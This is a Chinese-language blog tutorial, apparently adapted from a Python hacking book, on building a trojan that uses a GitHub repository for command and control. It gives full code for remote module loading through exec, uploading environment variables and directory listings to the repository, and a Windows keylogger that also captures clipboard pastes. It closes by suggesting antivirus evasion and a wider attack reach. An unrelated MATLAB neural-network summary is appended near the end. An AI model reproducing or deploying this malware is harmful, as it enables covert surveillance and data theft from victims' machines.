12、利用GitHub实现木马的命令与控制及常见Windows木马任务

GitHub木马命令与控制详解

利用GitHub实现木马的命令与控制及常见Windows木马任务

在网络攻击中,利用GitHub来实现对木马的命令与控制是一种较为巧妙的方式,同时在Windows系统上执行一些常见的木马任务也有其独特的方法。下面将详细介绍相关内容。

1. 准备工作

首先,需要创建一个GitHub令牌。因为后续的操作需要读取配置和写入输出,所以要按照GitHub官网(https://docs.github.com/en/github/authenticating-to-github/)的说明来创建令牌,并将令牌字符串保存到本地的 mytoken.txt 文件中。为了避免意外将凭证推送到仓库,要把 mytoken.txt 添加到 .gitignore 文件里。

2. 创建模块

为了让木马能够执行不同的任务,我们需要创建一些简单的模块。
- dirlister.py 模块

import os
def run(**args):
    print("[*] In dirlister module.")
    files = os.listdir(".")
    return str(files)

这个模块的 run 函数会列出当前目录下的所有文件,并将文件列表作为字符串返回。每个开发的模块都应该有一个 run 函数,该函数可以接受可变数量的参数,这样就能以相同的方式加载每个模块,还可以根据需要在配置文件中传递不同的参数。
- environment.py 模块

import os
def run(**args):
    print("[*] In environment module.")
    return os.environ

此模块用于获取木马所在远程机器上设置的所有环境变量。

创建好模块后,要将代码推送到GitHub仓库,以便木马可以使用。在主仓库目录下的命令行中执行以下操作:

$ git add .
$ git commit -m "Adds new modules"
$ git push origin master
Username: ********
Password: ********
3. 配置木马

为了让木马执行特定的任务,需要使用配置文件来告诉它要执行哪些操作以及哪些模块负责执行这些操作。每个部署的木马都应该有一个唯一的ID,这样可以根据这些ID对检索到的数据进行分类,并控制哪些木马执行特定的任务。
config 目录下创建一个名为 abc.json 的文件,内容如下:

[
    {
        "module": "dirlister"
    },
    {
        "module": "environment"
    }
]

这是一个简单的模块列表,远程木马将运行这些模块。然后在主仓库目录的命令行中执行以下操作来将配置文件推送到GitHub:

$ git add .
$ git commit -m "Adds simple configuration."
$ git push origin master
Username: ********
Password: ********
4. 构建基于GitHub的木马

创建一个名为 git_trojan.py 的文件,编写以下代码:

import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime

def github_connect():
    with open('mytoken.txt') as f:
        token = f.read()
    user = 'tiarno'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')

def get_file_contents(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content

class Trojan:
    def __init__(self, id):
        self.id = id
        self.config_file = f'{id}.json'
        self.data_path = f'data/{id}/'
        self.repo = github_connect()

    def get_config(self):
        config_json = get_file_contents(
            'config', self.config_file, self.repo
        )
        config = json.loads(base64.b64decode(config_json))
        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        return config

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_module_result(result)

    def store_module_result(self, data):
        message = datetime.now().isoformat()
        remote_path = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(
            remote_path, message, base64.b64encode(bindata)
        )

    def run(self):
        while True:
            config = self.get_config()
            for task in config:
                thread = threading.Thread(
                    target=self.module_runner,
                    args=(task['module'],)
                )
                thread.start()
                time.sleep(random.randint(1, 10))
            time.sleep(random.randint(30 * 60, 3 * 60 * 60))

if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan('abc')
    trojan.run()

其中, github_connect 函数用于读取GitHub令牌并返回与GitHub仓库的连接; get_file_contents 函数用于从远程仓库获取指定模块的内容。 Trojan 类包含了木马的主要功能, get_config 方法用于获取远程配置文件, module_runner 方法用于运行模块, store_module_result 方法用于将模块的运行结果保存到GitHub仓库, run 方法会不断循环执行配置文件中的任务。

5. 自定义Python导入功能

为了让木马能够导入GitHub仓库中的远程文件,需要自定义Python的导入功能。创建 GitImporter 类:

class GitImporter:
    def __init__(self):
        self.current_module_code = ""

    def find_module(self, name, path=None):
        print("[*] Attempting to retrieve %s" % name)
        self.repo = github_connect()
        new_library = get_file_contents('modules', f'{name}.py', self.repo)
        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self

    def load_module(self, name):
        spec = importlib.util.spec_from_loader(name, loader=None,
                                               origin=self.repo.git_url)
        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)
        sys.modules[spec.name] = new_module
        return new_module

当解释器尝试加载不可用的模块时,会使用这个类。 find_module 方法会尝试定位模块,若找到则对代码进行Base64解码并存储; load_module 方法会使用 importlib 模块创建新的模块对象,并将从GitHub获取的代码加载到该模块中。

6. 测试木马

在命令行中运行以下命令来测试木马:

$ python git_trojan.py

运行后,木马会连接到仓库,获取配置文件,加载配置文件中设置的模块并运行。之后可以在命令行中执行以下操作来查看模块运行结果:

$ git pull origin master
7. 常见Windows木马任务 - 键盘记录器

在Windows系统上,键盘记录是一种常见的木马任务。使用 PyWinHook 库可以轻松实现键盘事件的捕获。创建 keylogger.py 文件,代码如下:

from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 60 * 10

class KeyLogger:
    def __init__(self):
        self.current_window = None

    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
        process_id = f'{pid.value}'
        executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)
        windll.psapi.GetModuleBaseNameA(
            h_process, None, byref(executable), 512
        )
        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
        try:
            self.current_window = window_title.value.decode()
        except UnicodeDecodeError as e:
            print(f'{e}: window name unknown')
        print('\n', process_id,
              executable.value.decode(), self.current_window)
        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)

    def mykeystroke(self, event):
        if event.WindowName != self.current_window:
            self.get_current_process()
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f'[PASTE] - {value}')
            else:
                print(f'{event.Key}')
        return True

def run():
    save_stdout = sys.stdout
    sys.stdout = StringIO()
    kl = KeyLogger()
    hm = pyHook.HookManager()
    hm.KeyDown = kl.mykeystroke
    hm.HookKeyboard()
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()

KeyLogger 类的 get_current_process 方法用于获取当前活动窗口及其关联的进程ID, mykeystroke 方法用于处理键盘事件, run 方法会启动键盘记录器。

总结

通过上述步骤,我们可以利用GitHub实现对木马的命令与控制,并在Windows系统上执行常见的木马任务。不过,这种技术存在一定的安全风险,在实际应用中需要谨慎使用。同时,还可以对核心的命令与控制技术进行改进和增强,如加密模块、配置和渗出的数据,自动化数据拉取、配置文件更新和新木马部署等。

技术点分析与拓展

1. 基于GitHub的命令与控制架构分析
  • 优点
    • 灵活性 :通过配置文件可以动态控制木马执行的任务,方便添加、修改或删除模块。例如,若要新增一个文件上传模块,只需编写相应的代码并更新配置文件即可。
    • 隐蔽性 :利用GitHub作为远程仓库,在一定程度上可以混淆网络流量,增加被发现的难度。
    • 可维护性 :将模块和配置文件存储在GitHub上,便于统一管理和更新。
  • 缺点
    • 安全性 :如果令牌泄露,攻击者可能会获取仓库的访问权限,导致数据泄露或被篡改。
    • 依赖网络 :木马需要联网才能从GitHub获取配置文件和模块,网络中断会影响其正常运行。
2. 键盘记录器技术分析
  • 原理 PyWinHook 库基于Windows的 SetWindowsHookEx 函数,该函数允许安装用户定义的函数来处理特定的Windows事件。通过注册键盘事件的钩子, PyWinHook 可以捕获所有的按键信息。
  • 局限性
    • 权限问题 :需要足够的权限才能安装钩子,否则可能无法正常工作。
    • 检测风险 :一些杀毒软件和安全工具可能会检测到键盘记录行为,将其视为恶意软件。
3. 操作流程总结

以下是整个过程的操作流程图:

graph LR
    A[准备工作] --> B[创建模块]
    B --> C[配置木马]
    C --> D[构建基于GitHub的木马]
    D --> E[自定义Python导入功能]
    E --> F[测试木马]
    F --> G[常见Windows木马任务 - 键盘记录器]

优化建议

1. 安全优化
  • 加密数据 :对模块代码、配置文件和渗出的数据进行加密,防止数据在传输和存储过程中被窃取。可以使用对称加密算法,如AES,对数据进行加密。
  • 多令牌管理 :为不同的木马创建不同的GitHub令牌,限制每个木马的访问权限,降低数据泄露的风险。
2. 性能优化
  • 异步执行 :在木马执行任务时,可以采用异步编程的方式,提高并发性能。例如,使用Python的 asyncio 库来实现异步任务。
  • 减少网络请求 :可以设置缓存机制,减少不必要的网络请求,提高响应速度。
3. 自动化优化
  • 脚本自动化 :编写脚本实现数据拉取、配置文件更新和新木马部署的自动化,提高工作效率。例如,使用Python的 subprocess 模块来执行命令行操作。

未来展望

随着网络安全技术的不断发展,基于GitHub的命令与控制技术和常见Windows木马任务也面临着更多的挑战和机遇。未来可以探索以下方向:
- 跨平台支持 :将现有的技术扩展到其他操作系统,如Linux和macOS,实现更广泛的攻击范围。
- 机器学习集成 :利用机器学习算法对渗出的数据进行分析,提取有价值的信息,提高攻击的精准度。
- 对抗检测技术 :研究更高级的隐蔽技术,对抗杀毒软件和安全工具的检测,提高木马的生存能力。

注意事项

在进行相关技术研究和测试时,必须遵守法律法规,不得用于非法活动。同时,要注意保护自己和他人的隐私和安全。

通过对基于GitHub的命令与控制技术和常见Windows木马任务的深入学习和实践,我们可以更好地理解网络攻击的原理和方法,从而提高自身的安全防范意识和能力。

MATLAB代码实现了一个基于多种智能优化算法优化RBF神经网络的回归预测模型,其核心是通过智能优化算法自动寻找最优的RBF扩展参数(spread),以提升预测精度。 1.主要功能 多算法优化RBF网络:使用多种智能优化算法优化RBF神经网络的核心参数spread。 回归预测:对输入特征进行回归预测,适用于连续值输出问题。 性能对比:对比不同优化算法在训练集和测试集上的预测性能,绘制适应度曲线、预测对比图、误差指标柱状图等。 2.算法步骤 数据准备:导入数据,随机打乱,划分训练集和测试集(默认7:3)。 数据归一化:使用mapminmax将输入和输出归一化到[0,1]区间。 标准RBF建模:使用固定spread=100建立基准RBF模型。 智能优化循环: 调用优化算法(从指定文件夹中读取算法文件)优化spread参数。 使用优化后的spread重新训练RBF网络。 评估预测结果,保存性能指标。 结果可视化: 绘制适应度曲线、训练集/测试集预测对比图。 绘制误差指标(MAE、RMSE、MAPE、MBE)柱状图。 十种智能优化算法分别是: GWO:灰狼算法 HBA:蜜獾算法 IAO:改进天鹰优化算法,改进①:Tent混沌映射种群初始化,改进②:自适应权重 MFO:飞蛾扑火算法 MPA:海洋捕食者算法 NGO:北方苍鹰算法 OOA:鱼鹰优化算法 RTH:红尾鹰算法 WOA:鲸鱼算法 ZOA:斑马算法
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值